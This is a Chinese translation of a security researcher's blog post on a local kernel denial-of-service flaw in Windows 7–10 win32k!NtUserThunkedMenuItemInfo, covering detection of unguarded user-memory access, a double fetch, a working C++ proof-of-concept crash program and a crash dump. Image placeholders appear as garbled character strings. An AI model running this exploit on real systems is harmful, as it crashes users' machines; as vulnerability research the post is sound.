Windows内核本地拒绝服务#1(Windows 7-10)

早在2013年,Gynvael和我发布了我们的研究结果,在操作系统内核中发现so-called double fetch漏洞,通过在一个被称为Bochs的IA-32仿真器中运行它们。仿真器(以及我们的定制嵌入式仪器)的目是捕获关于对源自内核的用户模式存储器访问的详细信息,以便我们以后可以运行分析工具,在一个系统调用范围内发现多个对单个内存地址的引用,并产生有意义的报告。我们称这个项目为Bochspwn (使用Github上的kfetch工具包测试内存引用),并且大部分成功,导致在Windows内核中发现了几十个严重的漏洞。我们相信它对于普及double-fetch漏洞类和使用全系统仪器的安全概念起到了重要作用。

在经历了这一切后,我决定回到整系统检测的主题,分析各种执行轨迹,寻找潜在的漏洞。具体来说,我的目标之一是开发更多的模式(基于内存的访问或其他事件),这可能会在内核模式代码中发现问题,而不仅仅是double-fetch。这种模式的直观示例是在访问ring-3存储器区域时没有设置异常处理。下面是关于Windows ProbeForRead函数的文档说明:

驱动程序必须在try / except块中调用ProbeForRead。如果例程引发异常,则驱动程序应该使用相应的错误来完成IRP。注意,驱动程序对用户模式缓冲区的后续访问也必须封装在try / except块中:恶意应用程序可以在任何时间具有另一线程删除,替换或改变对用户地址范围的保护(即使在调用ProbeForRead或ProbeForWrite之后)。

一个处理异常MSDN页面的示例:

try {
 ...
 ProbeForWrite(Buffer, BufferSize, BufferAlignment);
 /* Note that any access (not just the probe, which must come first,
 * by the way) to Buffer must also be within a try-except.
 */
 ...
} except (EXCEPTION_EXECUTE_HANDLER) {
 /* Error handling code */
 ...
}

如果ProbeFor *调用或用户内存访问发生在try/except块之外会发生什么?通常没有什么,但经过身份验证的本地攻击者可能利用这样的错误来制造未处理的内核异常(通过传递无效指针或在syscall运行时使其无效),从而使整个操作系统崩溃。

从技术角度来看,在32位平台上没有设置异常处理程序的情况下,检测用户模式访问并不难。在Windows x86中,在SEH链中处理程序记录链接在一起(从众所周知的fs:[0]地址开始),其中每个处理程序由以下结构描述:

)3GA_6UEB4L]Y]MLWS%O7(Y

结构驻留在它们相应函数的栈帧中,并且在这些__SEH_prolog4(_GS)函数开始时用routine初始化,如下:

PAGE:00671AA3 push 58h
PAGE:00671AA5 push offset stru_456EB0
PAGE:00671AAA call __SEH_prolog4

稍后,当块被关闭并且异常处理被禁用时,try {}块开始通过将其基于0的索引写入TryLevel字段来表示,随后用-2 (0xFFFFFFFE)重写它们。下面是一个try / except块的例子,它封装了单个DWORD值来写入用户模式存储器:

K]$Q)%4%X8GQOZ[QIRZCZO9

因此,在任何用户模式存储器访问时的整体调用堆可以类似于以下:

sehchain

因此,Bochs仪器可以遍历SEH链,确定启用哪些处理程序以及它们对应的功能。如果没有异常记录,或者它们的TryLevel字段都设置为0xFFFFFFFE,那么在这时发生的异常可能会使操作系统关闭。然而,应当注意,并非所有对用户模式存储器的非防护访问都是危险的,因为已经定义了:先前由MmSecureVirtualMemory  API 保护的区域和诸如TEB或PEB的特殊区域不受影响。

我在最新版本的Windows 7 32位和Windows 10 32位上运行上面解释的检测逻辑,发现了一堆错误。由于它们的低严重性(即本地认证的DoS),它们不满足Microsoft的安全服务的标准。然而,我仍然相信,其中许多是有趣的情况下,所以我打算定期发布PoCs,并在这个博客简短说明崩溃转储和这些问题的。我希望你会发现他们之中的有趣。今天,我将讨论win32k!NtUserThunkedMenuItemInfo系统调用中的一个bug。请享用!

win32k!NtUserThunkedMenuItemInfo系统调用bug

所讨论的错误存在于上述win32k!NtUserThunkedMenuItemInfo 系统调用处理程序的顶层处理程序中,其对应于高级  GetMenuItemInfo  和  SetMenuItemInfo API函数。用于访问try / except块之外的用户模式指针的两条指令如下(基于Windows 7 32位的win32k.sys):

DNLK}{17AK1$}C)EWQJ6{IN

当代码执行时,EBX寄存器被设置为第5个系统调用参数的值,它是一个指向MENUITEMINFO结构的用户模式指针。实际上,结构被验证并复制到内核堆栈的几个指令前面:

CE6%%_KYCNHBSL4J3UAYB~A

正如我们在地址0xBF8AA9F8处可以看到的,对结构的初始访问正确地启用了异常处理,但是在再次访问存储器之前,它在0xBF8AAA5A处被明确禁止。这个不安全的构造是做什么的?如果我们考虑MENUITEMINFO定义,那么可以将程序集翻译成以下C代码片段:

if ((lpmii->fMask & MIIM_STATE) && (lpmii->fState & ~MFS_MASK)) {
 // Bail out.
}

公定义MSDN的状态可以合法使用客户端应用程序的标志:他们是  MFS_CHECKEDMFS_DEFAULTMFS_DISABLEDMFS_HILITE(jointly MFS_MASK)。32位状态字段中的其他位由win32k.sys内部使用,因此不应由用户模式程序操作。在内核设置上面显示的if语句负责确保没有禁止的标志。

正如你可能已经注意到的,输入结构的fMaskfState字段被引用两次(在内联  memcpy 和直接位测试期间)意味着事实上在这里是双重提取条件。结果,可以通过修改并发线程中的两个访问之间里两个字段中的任一个的值来绕过代码中的健全性检查。即使这是可能的,但在我的评估中,这个问题并没有真正的安全影响,因为没有一个内部标志似乎十分的有趣,并且Tavis Ormandy于2010年发现一些额外的内部验证检查被添加在win32k.sys来修复这个 bug 。

为了触发作为该帖子的主题的BSoD,需要对正在被访问的用户模式存储器页的权限进行 race,使得第一防护访问(a memcpy)在没有中断的情况下执行,而第二个(未处理)生成异常。由于改变内存访问权限通常是一个代价昂贵的操作(在跳过严格的 race条件窗口的情况下),该错误最容易在具有≥2个内核的机器上触发,因为一个线程可以连续调用受影响的系统调用,来使用VirtualProtect API的其他替代项PAGE_NOACCESSPAGE_READWRITE权限。在单独的核心上运行两个线程大大提高了快速击中系统崩溃的几率。

考虑到这一切,一个简单的利用代码如下:

#include <Windows.h>
 
namespace globals {
 LPVOID lpVolatileMem;
} // namespace globals
 
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
 __asm{mov eax, ApiNumber};
 __asm{lea edx, ApiNumber + 4};
 __asm{int 0x2e};
}
 
DWORD ThreadRoutine(LPVOID lpParameter) {
 DWORD flOldProtect;
 
 // Indefinitely alternate between R/W and NOACCESS rights.
 while (1) {
 VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_NOACCESS, &flOldProtect);
 VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_READWRITE, &flOldProtect);
 }
}
 
int main() {
 // Windows 7 32-bit.
 CONST ULONG __NR_NtUserThunkedMenuItemInfo = 0x1256;
 
 // Initialize the thread as GUI.
 LoadLibrary(L"user32.dll");
 
 // Allocate memory for the buffer whose privileges are being flipped.
 globals::lpVolatileMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
 // Create the racing thread.
 CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);
 
 // Infinite loop trying to trigger the unhandled exception.
 while (1) {
 SystemCall32(__NR_NtUserThunkedMenuItemInfo, 0, 0, 0, 0, globals::lpVolatileMem, 0);
 }
 
 return 0;
}

在Windows 7 32位机器上启动以上程序会立即出现以下蓝色屏幕的情况:

bsod

崩溃摘要具体如下:

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 80e3aa61, The address that the exception occurred at
Arg3: 96607b34, Trap Frame
Arg4: 00000000
 
Debugging Details:
------------------
 
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
 
FAULTING_IP: 
win32k!NtUserThunkedMenuItemInfo+7a
80e3aa61 f6430401 test byte ptr [ebx+4],1
 
TRAP_FRAME: 96607b34 -- (.trap 0xffffffff96607b34)
ErrCode = 00000000
eax=96607bf4 ebx=00100000 ecx=00000000 edx=96607bf4 esi=00100030 edi=96607be8
eip=80e3aa61 esp=96607ba8 ebp=96607c14 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!NtUserThunkedMenuItemInfo+0x7a:
80e3aa61 f6430401 test byte ptr [ebx+4],1 ds:0023:00100004=00
Resetting default scope
 
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
 
BUGCHECK_STR: 0x8E
 
PROCESS_NAME: NtUserThunkedM
 
CURRENT_IRQL: 2
 
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
 
LAST_CONTROL_TRANSFER: from 8171adff to 816b69d8
 
STACK_TEXT: 
966070ec 8171adff 00000003 67540871 00000065 nt!RtlpBreakWithStatusInstruction
9660713c 8171b8fd 00000003 96607540 00000000 nt!KiBugCheckDebugBreak+0x1c
96607500 8171ac9c 0000008e c0000005 80e3aa61 nt!KeBugCheck2+0x68b
96607524 816f02f7 0000008e c0000005 80e3aa61 nt!KeBugCheckEx+0x1e
96607ac4 81679996 96607ae0 00000000 96607b34 nt!KiDispatchException+0x1ac
96607b2c 8167994a 96607c14 80e3aa61 badb0d00 nt!CommonDispatchException+0x4a
96607b54 8160792d 00000000 00000000 00000000 nt!KiExceptionExit+0x192
96607c14 81678db6 00000000 00000000 00000000 hal!KeReleaseQueuedSpinLock+0x2d
96607c14 12560001 00000000 00000000 00000000 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0027f864 0027f964 00a61c7c 00001256 00000000 0x12560001
0027f868 00a61c7c 00001256 00000000 00000000 0x27f964
0027f964 00a6206a 00000001 004269c8 00426a20 NtUserThunkedMenuItemInfo!main+0x9c
0027f9b0 00a6224d 0027f9c4 75a2ef1c 7ffd9000 NtUserThunkedMenuItemInfo!__tmainCRTStartup+0x11a
0027f9b8 75a2ef1c 7ffd9000 0027fa04 7760367a NtUserThunkedMenuItemInfo!mainCRTStartup+0xd
0027f9c4 7760367a 7ffd9000 7742320c 00000000 kernel32!BaseThreadInitThunk+0xe
0027fa04 7760364d 00a5fcc1 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70
0027fa1c 00000000 00a5fcc1 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b

就是这样!希望你喜欢这篇文章,并且在下一篇文章还能看到你!

*作者:j00ru,MottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Stbird,如若转载,请注明出处:http://www.mottoin.com/98066.html

发表评论

登录后才能评论

评论列表(1条)

  • Windows内核本地拒绝服务#2(Windows 8-10) - 莹莹之色 2017年3月10日 上午5:04

    […] 这个星期,我们使用另一种未处理的异常ring-0代码方式使Windows内核本地崩溃(如果你不太懂,可以看上周的DoS在win32k!NtUserThunkedMenuItemInfo)。今天,这个bug是在win32k!NtDCompositionBeginFrame系统调用处理程序中的,其开始可以转换为以下类似C的伪代码: […]

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code